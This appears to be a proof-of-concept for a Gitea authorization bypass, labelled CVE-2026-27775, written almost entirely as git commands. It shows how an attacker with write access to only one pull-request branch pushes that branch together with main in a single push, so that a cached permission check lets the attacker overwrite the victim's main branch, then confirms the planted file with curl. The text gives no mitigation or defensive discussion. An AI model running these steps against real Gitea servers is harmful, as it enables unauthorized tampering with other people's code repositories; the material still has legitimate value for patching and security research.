CVE-2026-27775: Gitea Pre-Receive Hook Authorization Bypass via Cached Branch Permission

# Prerequisites: attacker has a PR open against victim/project with allow_maintainer_edit=true
# giving the attacker per-branch write access to feature-branch ONLY.

# 1. Attacker clones their own repo
git clone http://attacker:pw@<gitea>/attacker/project.git && cd project

# 2. Fetch the victim's PR branch and make a commit to it
git fetch -u http://<gitea>/victim/project feature-branch:victim-feature-branch
git checkout victim-feature-branch
echo "legitimate change" > feature.txt && git add . && git commit -m "PR update"

# 3. Prepare a malicious commit on main
git checkout main
echo "MALICIOUS CONTENT" > PWNED && git add . && git commit -m "pwned"

# 4. Push BOTH refs in a single operation -- feature-branch listed first so its
#    permission check runs first and caches 'true' for the session.
#    main:main is then accepted without a fresh permission check.
git push http://attacker:pw@<gitea>/victim/project.git victim-feature-branch:feature-branch main:main

# Verify: victim's main is now overwritten
curl "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/PWNED?ref=main"
# Returns attacker's MALICIOUS CONTENT